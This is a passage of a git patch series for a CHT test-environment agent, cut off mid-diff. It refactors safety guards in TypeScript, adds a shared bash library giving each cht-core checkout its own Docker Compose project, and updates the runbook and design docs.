  * Override per call with allowExternalTarget, or with CHT_TEST_ENV_ALLOW_EXTERNAL=1.
  */
+/** https is always allowed; http only when the host is a local disposable one. */
+const isSchemeAllowed = (target: URL, disposable: boolean): boolean =>
+  target.protocol === 'https:' || (target.protocol === 'http:' && disposable);
+
+const isExternalTargetAllowed = (options: ProvisionOptions): boolean =>
+  options.allowExternalTarget === true || process.env.CHT_TEST_ENV_ALLOW_EXTERNAL === '1';
+
 const assertDisposableTarget = (target: URL, options: ProvisionOptions, defaultCreds: boolean): void => {
   const disposable = isDisposableHost(target.hostname);
-  if (target.protocol !== 'https:' && !(target.protocol === 'http:' && disposable)) {
+  if (!isSchemeAllowed(target, disposable)) {
     throw new Error(
       `provision: refusing ${target.protocol}//${target.host} — https is required ` +
         '(http only for a local disposable instance)'
@@ -158,7 +172,7 @@ const assertDisposableTarget = (target: URL, options: ProvisionOptions, defaultC
   if (disposable) {
     return;
   }
-  if (options.allowExternalTarget !== true && process.env.CHT_TEST_ENV_ALLOW_EXTERNAL !== '1') {
+  if (!isExternalTargetAllowed(options)) {
     throw new Error(
       `provision: ${target.host} is not a known disposable test instance, and this layer runs ` +
         'cht-conf --force and deletes docs. Set allowExternalTarget (or ' +
@@ -199,6 +213,24 @@ const resolveRealTarget = (options: ProvisionOptions): RealTarget => {
   return { url: stripTrailingSlashes(resolved.toString()), auth };
 };
 
+/** A docIds worklist with no dataPath to reseed from is a caller error, not an empty reset. */
+const assertNoOrphanDocIds = (options: ResetOptions): void => {
+  if (options.docIds !== undefined) {
+    throw new Error('reset: options.docIds also needs options.dataPath (the project to reseed from)');
+  }
+};
+
+/** Reject provision inputs before anything is printed or polled. */
+const validateProvisionOptions = (options: ProvisionOptions): void => {
+  if (!options.chtCorePath && !options.version) {
+    throw new Error('provision requires either chtCorePath or version');
+  }
+  // The path is interpolated into printed human-gate command lines.
+  if (options.chtCorePath && hasControlChars(options.chtCorePath)) {
+    throw new Error('provision: chtCorePath contains control characters — must be a plain filesystem path');
+  }
+};
+
 /** Build the deterministic mock-mode handle (no instance, no Docker). */
 const buildMockHandle = (options: ProvisionOptions, network: string): EnvironmentHandle => ({
   url: options.url ?? MOCK_TEST_ENV_DATA.url,
@@ -439,13 +471,13 @@ const prepareDocs = async (
   }
 
   const docsRun = await runChtConf({
-    verbs: ['csv-to-docs', 'upload-docs'],
-    logLabel: 'test-data: csv-to-docs upload-docs',
+    verbs: [CSV_TO_DOCS, UPLOAD_DOCS],
+    logLabel: `test-data: ${CSV_TO_DOCS} ${UPLOAD_DOCS}`,
     ...shared,
   });
   const docsOk = runSucceeded(docsRun);
   if (!docsOk) {
-    warnings.push(describeRunFailure('csv-to-docs/upload-docs', docsRun));
+    warnings.push(describeRunFailure(`${CSV_TO_DOCS}/${UPLOAD_DOCS}`, docsRun));
   }
 
   const seeded = readSeededDocs(dataPath);
@@ -527,16 +559,16 @@ const reseedTrackedDocs = async (
   onDisk: SeededDoc[]
 ): Promise<number> => {
   const reseed = await runChtConf({
-    verbs: ['upload-docs'],
+    verbs: [UPLOAD_DOCS],
     instanceUrl: credentialedUrl(handle),
     configPath: tracked.dataPath,
     cwd: tracked.dataPath,
     bin: tracked.bin,
     timeoutMs: tracked.timeoutMs,
-    logLabel: 'couchdb reset: upload-docs',
+    logLabel: `couchdb reset: ${UPLOAD_DOCS}`,
   });
   if (!runSucceeded(reseed)) {
-    throw new Error(`couchdb reset: reseed failed — ${describeRunFailure('upload-docs', reseed)}`);
+    throw new Error(`couchdb reset: reseed failed — ${describeRunFailure(UPLOAD_DOCS, reseed)}`);
   }
   // upload-docs re-uploads the whole json_docs directory, protected ids included;
   // only the docs this layer owns count towards a complete reseed (a protected doc
@@ -576,13 +608,7 @@ export class TestEnvironmentAgent {
    * (chtCorePath, built via local-images) or a published version.
    */
   async provision(options: ProvisionOptions): Promise<EnvironmentHandle> {
-    if (!options.chtCorePath && !options.version) {
-      throw new Error('provision requires either chtCorePath or version');
-    }
-    if (options.chtCorePath && hasControlChars(options.chtCorePath)) {
-      // The path is interpolated into printed human-gate command lines.
-      throw new Error('provision: chtCorePath contains control characters — must be a plain filesystem path');
-    }
+    validateProvisionOptions(options);
 
     const source = options.chtCorePath
       ? `local code (${options.chtCorePath})`
@@ -774,20 +800,8 @@ export class TestEnvironmentAgent {
     // empty re-seed must not clobber a live one (docs from the earlier seed are
     // still on the instance).
     if (docsOk && seeded.length > 0) {
-      const { safe, protectedIds } = partitionProtected(seeded.map((doc) => doc.id));
-      if (protectedIds.length > 0) {
-        warnings.push(
-          `${protectedIds.length} seeded doc id(s) name deployed config and are excluded from ` +
-            `reset: ${protectedIds.slice(0, 3).join(', ')}`
-        );
-      }
-      this.seededData.set(trackingKey(handle), {
-        dataPath,
-        docIds: safe,
-        protectedSkipped: protectedIds,
-        bin: options.bin,
-        timeoutMs: options.timeoutMs,
-      });
+      const base = { dataPath, bin: options.bin, timeoutMs: options.timeoutMs };
+      this.trackSeededDocs(handle, seeded, base, warnings);
     }
 
     return {
@@ -801,6 +815,26 @@ export class TestEnvironmentAgent {
     };
   }
 
+  /**
+   * Record the reset worklist for this environment, refusing ids that name
+   * deployed configuration (see PROTECTED_DOC_ID).
+   */
+  private trackSeededDocs(
+    handle: EnvironmentHandle,
+    seeded: SeededDoc[],
+    base: { dataPath: string; bin?: string; timeoutMs?: number },
+    warnings: string[]
+  ): void {
+    const { safe, protectedIds } = partitionProtected(seeded.map((doc) => doc.id));
+    if (protectedIds.length > 0) {
+      warnings.push(
+        `${protectedIds.length} seeded doc id(s) name deployed config and are excluded from ` +
+          `reset: ${protectedIds.slice(0, 3).join(', ')}`
+      );
+    }
+    this.seededData.set(trackingKey(handle), { ...base, docIds: safe, protectedSkipped: protectedIds });
+  }
+
   /**
    * Reset the environment to a known state. See the three-tier reset strategy
    * in the recommendation doc. The couchdb tier is the one reset the agent
@@ -846,23 +880,15 @@ export class TestEnvironmentAgent {
   ): SeededDataRecord | undefined {
     const tracked = this.seededData.get(trackingKey(handle));
     const dataPath = options.dataPath ?? tracked?.dataPath;
-    const docIds = options.docIds ?? tracked?.docIds ?? [];
     if (dataPath === undefined) {
-      if (options.docIds !== undefined) {
-        throw new Error('reset: options.docIds also needs options.dataPath (the project to reseed from)');
-      }
+      assertNoOrphanDocIds(options);
       return undefined;
     }
+    const docIds = options.docIds ?? tracked?.docIds ?? [];
     if (docIds.length === 0) {
       return undefined;
     }
-    return {
-      dataPath,
-      docIds,
-      protectedSkipped: tracked?.protectedSkipped ?? [],
-      bin: tracked?.bin,
-      timeoutMs: tracked?.timeoutMs,
-    };
+    return { ...tracked, dataPath, docIds, protectedSkipped: tracked?.protectedSkipped ?? [] };
   }
 
   /**
diff --git a/src/utils/cht-api.ts b/src/utils/cht-api.ts
index 94490b12..1477d8c4 100644
--- a/src/utils/cht-api.ts
+++ b/src/utils/cht-api.ts
@@ -61,6 +61,13 @@ const basicAuth = (auth: ChtAuth): string => {
   return `Basic ${encoded}`;
 };
 
+/** These endpoints never redirect in normal operation; following one would replay an authed call. */
+const assertNotRedirect = (status: number, method: string, path: string): void => {
+  if (status >= 300 && status < 400) {
+    throw new Error(`CHT request failed: ${method} ${path} -> unexpected redirect (HTTP ${status})`);
+  }
+};
+
 /**
  * Bounded, authenticated request. Throws on a non-2xx status with the path
  * and status only (the base URL is the handle's cred-free URL, so the full
@@ -90,9 +97,7 @@ const request = async (
     redirect: 'manual',
     signal: AbortSignal.timeout(timeoutMs),
   });
-  if (response.status >= 300 && response.status < 400) {
-    throw new Error(`CHT request failed: ${method} ${path} -> unexpected redirect (HTTP ${response.status})`);
-  }
+  assertNotRedirect(response.status, method, path);
   if (!response.ok) {
     throw new Error(`CHT request failed: ${method} ${path} -> HTTP ${response.status}`);
   }
@@ -193,7 +198,7 @@ export const bulkDocs = async (
     body: JSON.stringify({ docs }),
   });
   if (!Array.isArray(body)) {
-    throw new Error('CHT request failed: POST /medic/_bulk_docs returned a non-array body');
+    throw new TypeError('CHT request failed: POST /medic/_bulk_docs returned a non-array body');
   }
   return body as BulkDocResultRow[];
 };
diff --git a/test/agents/test-environment-agent.spec.ts b/test/agents/test-environment-agent.spec.ts
index 278537f8..486e4128 100644
--- a/test/agents/test-environment-agent.spec.ts
+++ b/test/agents/test-environment-agent.spec.ts
@@ -542,7 +542,7 @@ describe('TestEnvironmentAgent', () => {
 
         const passed = runBucketStub.firstCall.args[0];
         expect(passed.configPath).to.equal('config/default');
-        expect(passed.cwd).to.equal(undefined);
+        expect(passed.cwd).to.be.undefined;
       });
 
       it('should thread bin and timeoutMs through to the runner (deployment-pinned cht-conf, long form sets)', async () => {

From 43a834bd3c3b6b9d239c95b39f6cf9e4dc4120bc Mon Sep 17 00:00:00 2001
From: Hareet <hareet.sandhu@gmail.com>
Date: Mon, 24 Aug 2026 23:48:11 -0600
Subject: [PATCH 20/24] fix(#66): clear the SonarCloud findings on the layer
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Shell (12): the three test-env scripts are bash, so conditionals use [[ ]]. The npm ci
in test-env-up.sh keeps lifecycle scripts on purpose and now says why — cht-core's
postinstall is patch-package, so --ignore-scripts would leave the patches unapplied and
the build broken. That one is a security hotspot to review, not a defect to fix.

TypeScript (9): shellQuote uses replaceAll with the POSIX escape hoisted to a constant
(String.raw inline would nest template literals, itself a gate rule); hasControlChars
uses codePointAt; the bulk-docs shape check throws TypeError; and the cwd assertion uses
a dedicated matcher.

Cognitive complexity: extracted isSchemeAllowed/isExternalTargetAllowed from the target
guard, validateProvisionOptions from provision, trackSeededDocs from prepareTestDataReal,
assertNoOrphanDocIds from the reset worklist, and assertNotRedirect from the cht-api
request helper — the redirect check added last round had pushed it over the limit.

Found four more with eslint-plugin-sonarjs run locally than CI reported, since SonarCloud
only annotates changed lines; recipe in the review notes.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
---
 scripts/test-env-up.sh | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/scripts/test-env-up.sh b/scripts/test-env-up.sh
index f6f175c2..68755432 100755
--- a/scripts/test-env-up.sh
+++ b/scripts/test-env-up.sh
@@ -62,8 +62,10 @@ fi
 # without them it dies on an opaque `cp: cannot stat` deep inside the build.
 if [[ ! -d "$TARGET/node_modules" ]]; then
   echo "Installing cht-core dependencies in $TARGET (npm ci — several minutes, ~1.2GB)."
-  # NOSONAR: --ignore-scripts would skip cht-core's patch-package postinstall,
-  # which is required for a working install.
+  # Lifecycle scripts must run: cht-core's postinstall is patch-package, and skipping
+  # it leaves the patches unapplied and the build broken. This is why --ignore-scripts
+  # is not used here. The code being installed is the same tree we are about to build
+  # images from and run, so npm scripts add no privilege beyond what follows.
   ( cd "$TARGET" && npm ci )
 elif [[ ! -e "$TARGET/node_modules/bowser/bundled.js" ]] || [[ ! -x "$TARGET/node_modules/.bin/uglifyjs" ]]; then
   echo "error: cht-core dependencies in $TARGET look incomplete (the image build needs" >&2

From 436d5fe0d8bcea72af662e5304b218c59bebd868 Mon Sep 17 00:00:00 2001
From: Hareet <hareet.sandhu@gmail.com>
Date: Fri, 2 Oct 2026 14:40:34 -0600
Subject: [PATCH 21/24] =?UTF-8?q?fix(#66):=20address=20the=20review=20?=
 =?UTF-8?q?=E2=80=94=20json=5Fdocs=20ownership,=20per-checkout=20stacks,?=
 =?UTF-8?q?=20honest=20seams?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Blocking:

- prepareTestData deletes only json_docs files it generated. A manifest beside json_docs
  records each csv-to-docs output with its sha256; a file that is not listed, or was edited
  since, is the operator's, and the seed refuses rather than touching it. Listing is
  recursive, as upload-docs reads it. With no csv/ input, json_docs is uploaded as-is.
- each cht-core checkout gets its own Compose project (cht-agent-<dir>-<path hash>,
  CHT_TEST_ENV_PROJECT overrides), and with it its own internal network, CouchDB bind mount
  and cert volume. Compose used to name every stack local-build, so down -v on one checkout
  hit another's. up refuses while another project's nginx is on cht-agent-net; down and
  restart fail on a project with no containers instead of reporting success. The three
  scripts share scripts/lib/test-env.sh.

Correctness:

- readiness asks for JSON: until cht-api is up it answers every other client with a 200
  startup page, which passed as healthy. Healthy now also means monitoring reports both an
  app and a CouchDB version. Redirects and TLS verification errors fail at once, the reason
  is logged when it changes, and the last probe keeps a real budget before the deadline.
- provision checks through /_session that the credentials are a CouchDB admin, since
  /api/v2/monitoring is unauthenticated and --force and _bulk_docs both need one
- cht-conf ERROR lines are matched after stripping ANSI, case-sensitively; the old /\bERROR\b/i
  missed real errors and failed benign lines such as "error-report.xml uploaded"
- a seed whose upload-docs summary falls short (e.g. re-seeding the same data) reports
  succeeded: false; csv-to-docs and upload-docs run as separate calls so protected ids are
  refused before anything is uploaded
- the couchdb reset refuses to wipe a doc json_docs cannot restore, and reads the wiped ids
  back from CouchDB after the reseed instead of trusting cht-conf's summary
- a relative dataPath is resolved once and tracked absolute; a subset reset counts only
  what it wiped; teardown keeps tracking, because the CouchDB bind mount survives down -v
- the spawn timeout escalates to SIGKILL, with the timer unref'd; signals reach only the
  direct child, which the comment now says
- buildChtConfArgs and runBucket share one lowering, so the argv specs test what spawns

Guards:

- the dashed-IP resolver answers for any address, so only private ranges pass; .local is
  gone (it is also the Active Directory suffix)
- migration-log, shortcode-id-length, privacy-policies, service-worker-meta and
  zscore-charts join the protected doc ids
- mock mode parses and strips credentials from options.url as the real path does, and an
  invalid URL no longer throws with the password on error.input

Seams that read as supported and were not:

- real mode refuses a published version: the scripts only build a working copy, so there
  was no bring-up to gate or poll
- a custom network is refused: the scripts and the override hardcode cht-agent-net
- COUCHDB_USER and COUCHDB_PASSWORD default independently, exactly as the scripts do
- the stack's cert is issued for nginx (COMMON_NAME), so NODE_EXTRA_CA_CERTS works for the
  agent's own fetch; host ports bind to 127.0.0.1 by default
- the provision wait is 30 minutes: a cold bring-up was measured at 17m49s
- CHT_CONF_PATH is gone from the prose and types; nothing read it
- down.sh, the runbook and the design doc no longer promise a clean slate from down -v

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .../test-environment-layer.md                 |   2 +-
 docker/cht-agent-net.override.yml             |  14 +-
 docs/docker-agent-runbook.md                  |  19 +-
 scripts/lib/test-env.sh                       |  68 ++
 scripts/test-env-down.sh                      |  27 +-
 scripts/test-env-restart.sh                   |  25 +-
 scripts/test-env-up.sh                        |  50 +-
 src/agents/test-environment-agent.ts          | 624 +++++++++++-------
 src/types/index.ts                            |  19 +-
 src/utils/cht-api.ts                          |  16 +
 src/utils/cht-conf-runner.ts                  | 120 ++--
 src/utils/cht-readiness.ts                    | 141 +++-
 src/utils/test-data.ts                        | 123 ++--
 test/agents/test-environment-agent.spec.ts    | 446 ++++++++++---
 test/utils/cht-api.spec.ts                    |  40 +-
 test/utils/cht-conf-runner.spec.ts            |  61 +-
 test/utils/cht-readiness.spec.ts              | 135 +++-
 test/utils/test-data.spec.ts                  | 112 +++-
 18 files changed, 1452 insertions(+), 590 deletions(-)
 create mode 100644 scripts/lib/test-env.sh

diff --git a/designs/layer_recommendations/test-environment-layer.md b/designs/layer_recommendations/test-environment-layer.md
index 0699af35..b6522ebe 100644
--- a/designs/layer_recommendations/test-environment-layer.md
+++ b/designs/layer_recommendations/test-environment-layer.md
@@ -223,7 +223,7 @@ Default: **CouchDB wipe + reseed** for config/data iterations. Under Model A, **
 
 #### Teardown
 
-`docker compose down -v` (the `-v` clears volumes for a clean slate). Always run on completion or failure to avoid orphaned containers.
+`scripts/test-env-down.sh` (`docker compose down -v`). `-v` removes the named volumes, but CouchDB data is a bind mount under `local-build/` and survives, so a clean database also means deleting that directory. Always run on completion or failure to avoid orphaned containers.
 
 ### 2. Config Discovery
 
diff --git a/docker/cht-agent-net.override.yml b/docker/cht-agent-net.override.yml
index d8c70aa4..0a878615 100644
--- a/docker/cht-agent-net.override.yml
+++ b/docker/cht-agent-net.override.yml
@@ -6,12 +6,16 @@
 # instance at https://nginx with no host-port juggling and — importantly — with
 # NO Docker access (the agent only polls /api/v2/monitoring).
 #
-# HUMAN-run only (the cht-agent never runs Docker):
-#   docker compose -f cht-couchdb.yml -f cht-core.yml -f cht-agent-net.override.yml up -d
+# HUMAN-run only (the cht-agent never runs Docker). scripts/test-env-up.sh applies
+# it with a per-checkout project, internal network and data dir (scripts/lib/test-env.sh);
+# by hand, always pass a project name:
+#   docker compose -p <project> -f cht-couchdb.yml -f cht-core.yml -f cht-agent-net.override.yml up -d
+# Only one stack's nginx can be on cht-agent-net at a time: `nginx` would resolve to both.
 #
-# VALIDATE before relying on this: the service name (`nginx`) and the stack's
-# internal network name (`cht-net` below) must match what `npm run local-images`
-# generates in `local-build/` for your cht-core version. Confirm with:
+# VALIDATE before relying on this: the service name (`nginx`) and the key of the
+# stack's internal network (`cht-net` below; CHT_NETWORK sets its actual name) must
+# match what `npm run local-images` generates in `local-build/` for your cht-core
+# version. Confirm with:
 #   docker compose ... config            # see resolved service/network names
 #   docker network inspect cht-agent-net # confirm nginx is attached
 # If the internal network differs, update the first entry under nginx.networks.
diff --git a/docs/docker-agent-runbook.md b/docs/docker-agent-runbook.md
index 0fbaca84..9e758e6b 100644
--- a/docs/docker-agent-runbook.md
+++ b/docs/docker-agent-runbook.md
@@ -129,17 +129,14 @@ When the Test Environment Layer (#66) requests an environment, the agent
 *waits and polls* — you bring it up:
 
 ```bash
-# Build images from the agent's edited working copy (Model A rebuild-on-change)
-cd ~/src/cht-core && npm run local-images
-
-# Start the stack, attaching nginx to cht-agent-net via the #66 override
-docker compose -f <cht-core compose files> \
-  -f <cht-agent repo>/docker/cht-agent-net.override.yml up -d
+# From the cht-agent repo: build the agent's edited working copy into images
+# (Model A rebuild-on-change) and start it, nginx joined to cht-agent-net
+CHT_CORE_REBUILD=1 scripts/test-env-up.sh ~/src/cht-core
 ```
 
-> The override file `docker/cht-agent-net.override.yml` ships with #66.
-> Validate service/network names against your generated compose before
-> relying on it (see the comments in that file).
+> `scripts/test-env-up.sh` gives each checkout its own Compose project, internal
+> network and CouchDB data dir, and refuses to start while another stack's nginx
+> is on `cht-agent-net`. Overrides are listed in `scripts/lib/test-env.sh`.
 
 The agent detects readiness via `GET https://nginx/api/v2/monitoring` and
 continues. CouchDB-tier resets it does itself over HTTP; container restarts
@@ -161,7 +158,7 @@ git push origin cht-agent/<ticket>
 
 ```bash
 docker compose -f docker/docker-compose.cht-agent.yml down
-# CHT stack: docker compose -f <cht-core compose files> down -v
+scripts/test-env-down.sh ~/src/cht-core   # CHT stack
 # Full cleanup of the shared network (only once nothing else uses it):
 docker network rm cht-agent-net
 ```
@@ -173,5 +170,5 @@ docker network rm cht-agent-net
 | compose fails mounting `git-config.hardened` over `.git/config` | working copy is a git worktree (`.git` is a file) or missing. Run `docker/scripts/bootstrap-workspace.sh` on the host. |
 | `Sandbox verification FAILED` in `docker logs` | a hardening layer is missing — read which `[FAIL]` fired; don't bypass it. |
 | working-copy files unwritable from container | host uid ≠ 1000. Rebuild with a matching uid or chown the copy. |
-| agent can't reach `https://nginx` | CHT stack not attached to `cht-agent-net` — re-run compose with the #66 override; `docker network inspect cht-agent-net` should list nginx. |
+| agent can't reach `https://nginx` | CHT stack not attached to `cht-agent-net` — bring it up with `scripts/test-env-up.sh`; `docker network inspect cht-agent-net` should list one nginx. |
 | `fetch` fails for an `ssh://` or `git@` URL | by design (no ssh binary). Use the `https://` URL. |
diff --git a/scripts/lib/test-env.sh b/scripts/lib/test-env.sh
new file mode 100644
index 00000000..090a01da
--- /dev/null
+++ b/scripts/lib/test-env.sh
@@ -0,0 +1,68 @@
+# Shared by scripts/test-env-{up,down,restart}.sh (sourced, not run).
+#
+# Every cht-core checkout builds in a directory named `local-build`, and Compose
+# names a project after its directory, so without -p all checkouts share one project
+# and `down -v` on one deletes another's stack. Each checkout therefore gets its own
+# project, and with it its own internal network (the couchdb/api/haproxy names),
+# CouchDB bind mount, and cert volume. Only nginx joins the shared cht-agent-net.
+#
+# Env overrides:
+#   CHT_TEST_ENV_PROJECT  Compose project (default cht-agent-<dir>-<path hash>)
+#   COUCHDB_USER / COUCHDB_PASSWORD  admin (default medic / password, the agent's DEFAULT_AUTH)
+#   COUCHDB_DATA          CouchDB bind mount (default local-build/srv-<project>)
+#   NGINX_HTTP_PORT / NGINX_HTTPS_PORT  host binds (default 127.0.0.1:80 / 127.0.0.1:443;
+#                         set 443 to reach the stack from another device)
+#   COMMON_NAME           cert CN (default nginx, the host name the containerized agent uses)
+
+TEST_ENV_REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
+TEST_ENV_OVERRIDE="$TEST_ENV_REPO_ROOT/docker/cht-agent-net.override.yml"
+# Must match the external network in docker/cht-agent-net.override.yml.
+TEST_ENV_NETWORK="cht-agent-net"
+
+test_env_default_target() {
+  local path="${1:-}"
+  printf '%s\n' "${path:-${CHT_CORE_PATH:-${CHT_CORE_CLONE_DIR:-$TEST_ENV_REPO_ROOT/.cht-core}}}"
+}
+
+test_env_hash() {
+  if command -v sha256sum >/dev/null 2>&1; then sha256sum; else shasum -a 256; fi | cut -c1-8
+}
+
+# Sets TEST_ENV_TARGET (physical path) and TEST_ENV_PROJECT for an existing checkout.
+test_env_select() {
+  local path="$1" base
+  TEST_ENV_TARGET="$(cd "$path" && pwd -P)"
+  base="$(basename "$TEST_ENV_TARGET" | tr '[:upper:]' '[:lower:]' | sed -e 's/[^a-z0-9_-]/-/g' -e 's/^-*//')"
+  TEST_ENV_PROJECT="${CHT_TEST_ENV_PROJECT:-cht-agent-${base}-$(printf '%s' "$TEST_ENV_TARGET" | test_env_hash)}"
+}
+
+test_env_require_build() {
+  local path="$1"
+  if [[ ! -d "$path/local-build" ]]; then
+    echo "error: no cht-core build at $path (pass a path or set CHT_CORE_PATH)" >&2
+    exit 1
+  fi
+}
+
+# COUCHDB_PASSWORD goes to every subcommand: the compose files declare ${COUCHDB_PASSWORD:?...}.
+test_env_compose() {
+  ( cd "$TEST_ENV_TARGET/local-build" &&
+    COUCHDB_USER="${COUCHDB_USER:-medic}" COUCHDB_PASSWORD="${COUCHDB_PASSWORD:-password}" \
+    CHT_NETWORK="$TEST_ENV_PROJECT-net" COUCHDB_DATA="${COUCHDB_DATA:-./srv-$TEST_ENV_PROJECT}" \
+    NGINX_HTTP_PORT="${NGINX_HTTP_PORT:-127.0.0.1:80}" NGINX_HTTPS_PORT="${NGINX_HTTPS_PORT:-127.0.0.1:443}" \
+    COMMON_NAME="${COMMON_NAME:-nginx}" \
+    docker compose -p "$TEST_ENV_PROJECT" -f cht-couchdb.yml -f cht-core.yml -f "$TEST_ENV_OVERRIDE" "$@" )
+}
+
+# restart and down would otherwise report success against a project with nothing in it.
+test_env_require_containers() {
+  local containers
+  containers="$(test_env_compose ps -a -q)"
+  if [[ -z "$containers" ]]; then
+    echo "error: Compose project '$TEST_ENV_PROJECT' has no containers." >&2
+    echo "       'docker compose ls -a' lists the projects that exist; a stack started under" >&2
+    echo "       another name needs CHT_TEST_ENV_PROJECT=<name> (earlier versions of these" >&2
+    echo "       scripts left it to Compose, which named every stack 'local-build')." >&2
+    exit 1
+  fi
+}
diff --git a/scripts/test-env-down.sh b/scripts/test-env-down.sh
index 32fb35e4..b9f3ad68 100755
--- a/scripts/test-env-down.sh
+++ b/scripts/test-env-down.sh
@@ -1,22 +1,17 @@
 #!/usr/bin/env bash
 #
 # Human-run teardown for the Test Environment Layer.
-# Usage: scripts/test-env-down.sh [<cht-core-path>]
-# COUCHDB_* must be supplied even here: the compose files declare
-# ${COUCHDB_PASSWORD:?...}, which compose resolves for every subcommand.
+# The cht-agent NEVER runs this or any Docker command itself.
+# Usage: scripts/test-env-down.sh [<cht-core-path>]   (overrides: scripts/lib/test-env.sh)
 set -euo pipefail
+source "$(dirname "$0")/lib/test-env.sh"
 
-REPO_ROOT="$(cd "$(dirname "$0")/.." && pwd)"
-OVERRIDE="$REPO_ROOT/docker/cht-agent-net.override.yml"
-# Same resolution as test-env-up.sh, minus the clone: an env we tore up must already exist.
-TARGET="${1:-${CHT_CORE_PATH:-${CHT_CORE_CLONE_DIR:-$REPO_ROOT/.cht-core}}}"
-if [[ ! -d "$TARGET/local-build" ]]; then
-  echo "error: no cht-core build at $TARGET (pass a path or set CHT_CORE_PATH)" >&2
-  exit 1
-fi
+# Same resolution as test-env-up.sh, minus the clone: the stack must already exist.
+TARGET="$(test_env_default_target "${1:-}")"
+test_env_require_build "$TARGET"
+test_env_select "$TARGET"
+test_env_require_containers
+test_env_compose down -v
 
-cd "$TARGET/local-build"
-COUCHDB_USER="${COUCHDB_USER:-medic}" COUCHDB_PASSWORD="${COUCHDB_PASSWORD:-password}" docker compose \
-  -f cht-couchdb.yml -f cht-core.yml -f "$OVERRIDE" down -v
-
-echo "CHT environment torn down (-v removed volumes for a clean slate)."
+echo "CHT environment '$TEST_ENV_PROJECT' torn down. -v removed its named volumes; CouchDB data in the" \
+  "${COUCHDB_DATA:-local-build/srv-$TEST_ENV_PROJECT} bind mount stays."
diff --git a/scripts/test-env-restart.sh b/scripts/test-env-restart.sh
index 39d5dca4..811cc2da 100755
--- a/scripts/test-env-restart.sh
+++ b/scripts/test-env-restart.sh
@@ -2,22 +2,15 @@
 #
 # Human-run restart for the Test Environment Layer (reset tier: restart).
 # The cht-agent NEVER runs this or any Docker command itself.
-# Usage: scripts/test-env-restart.sh [<cht-core-path>]
-# COUCHDB_* must be supplied even here: the compose files declare
-# ${COUCHDB_PASSWORD:?...}, which compose resolves for every subcommand.
+# Usage: scripts/test-env-restart.sh [<cht-core-path>]   (overrides: scripts/lib/test-env.sh)
 set -euo pipefail
+source "$(dirname "$0")/lib/test-env.sh"
 
-REPO_ROOT="$(cd "$(dirname "$0")/.." && pwd)"
-OVERRIDE="$REPO_ROOT/docker/cht-agent-net.override.yml"
-# Same resolution as test-env-up.sh, minus the clone: an env we tore up must already exist.
-TARGET="${1:-${CHT_CORE_PATH:-${CHT_CORE_CLONE_DIR:-$REPO_ROOT/.cht-core}}}"
-if [[ ! -d "$TARGET/local-build" ]]; then
-  echo "error: no cht-core build at $TARGET (pass a path or set CHT_CORE_PATH)" >&2
-  exit 1
-fi
+# Same resolution as test-env-up.sh, minus the clone: the stack must already exist.
+TARGET="$(test_env_default_target "${1:-}")"
+test_env_require_build "$TARGET"
+test_env_select "$TARGET"
+test_env_require_containers
+test_env_compose restart
 
-cd "$TARGET/local-build"
-COUCHDB_USER="${COUCHDB_USER:-medic}" COUCHDB_PASSWORD="${COUCHDB_PASSWORD:-password}" docker compose \
-  -f cht-couchdb.yml -f cht-core.yml -f "$OVERRIDE" restart
-
-echo "CHT services restarted. The agent should re-confirm health (provision/waitForReady)."
+echo "CHT services in '$TEST_ENV_PROJECT' restarted. The agent should re-confirm health (provision/waitForReady)."
diff --git a/scripts/test-env-up.sh b/scripts/test-env-up.sh
index 68755432..0bbfc8af 100755
--- a/scripts/test-env-up.sh
+++ b/scripts/test-env-up.sh
@@ -12,24 +12,18 @@
 # checkout at $CHT_CORE_CLONE_DIR (default <repo>/.cht-core), cloned from master
 # on first use. A path you pass is used as-is and is never cloned into.
 #
-# Env overrides: COUCHDB_USER (default medic), COUCHDB_PASSWORD (default password).
-# These defaults match the agent's DEFAULT_AUTH — the local-build stack would
-# otherwise default the admin user to 'admin' and every authed agent call would 401.
-# The network name is NOT overridable: docker/cht-agent-net.override.yml hardcodes
-# `cht-agent-net` as an external network, so renaming needs an edit there too.
+# Project, credential, port and cert overrides: see scripts/lib/test-env.sh.
 #
-# TLS: the stack serves a self-signed cert. The agent's cht-conf child trusts it via
-# --accept-self-signed-certs; the agent's OWN fetch (readiness/discovery/reset) needs
-# the cert trusted in Node — prefer NODE_EXTRA_CA_CERTS=<pem> on the agent process.
-# NODE_TLS_REJECT_UNAUTHORIZED=0 disables verification for ALL of the agent's traffic
-# (LLM/MCP included) and is acceptable only inside a disposable runner container.
+# TLS: the stack serves a SAN-less self-signed cert whose CN is COMMON_NAME (nginx).
+# The agent's cht-conf child accepts it via --accept-self-signed-certs; the agent's
+# own fetch (readiness/discovery/reset) needs it trusted via NODE_EXTRA_CA_CERTS
+# (copy command printed at the end). NODE_TLS_REJECT_UNAUTHORIZED=0 disables
+# verification for ALL of the agent's traffic (LLM/MCP included) and is acceptable
+# only inside a disposable runner container.
 set -euo pipefail
+source "$(dirname "$0")/lib/test-env.sh"
 
-REPO_ROOT="$(cd "$(dirname "$0")/.." && pwd)"
-OVERRIDE="$REPO_ROOT/docker/cht-agent-net.override.yml"
-# Must match the external network in docker/cht-agent-net.override.yml.
-NETWORK="cht-agent-net"
-CLONE_DIR="${CHT_CORE_CLONE_DIR:-$REPO_ROOT/.cht-core}"
+CLONE_DIR="${CHT_CORE_CLONE_DIR:-$TEST_ENV_REPO_ROOT/.cht-core}"
 CHT_CORE_UPSTREAM="${CHT_CORE_UPSTREAM:-https://github.com/medic/cht-core.git}"
 CHT_CORE_BRANCH="${CHT_CORE_BRANCH:-master}"
 
@@ -57,6 +51,22 @@ if [[ ! -d "$TARGET" ]]; then
   echo "error: cht-core path not found: $TARGET" >&2
   exit 1
 fi
+test_env_select "$TARGET"
+
+# 1. Shared network the cht-agent and CHT both join.
+docker network inspect "$TEST_ENV_NETWORK" >/dev/null 2>&1 || docker network create "$TEST_ENV_NETWORK" >/dev/null
+
+# The agent reaches CHT as https://nginx on that network; a second stack's nginx
+# there would split the name between two instances.
+nginx_projects="$(docker ps --filter "network=$TEST_ENV_NETWORK" --filter label=com.docker.compose.service=nginx \
+  --format '{{.Label "com.docker.compose.project"}}')"
+while IFS= read -r project; do
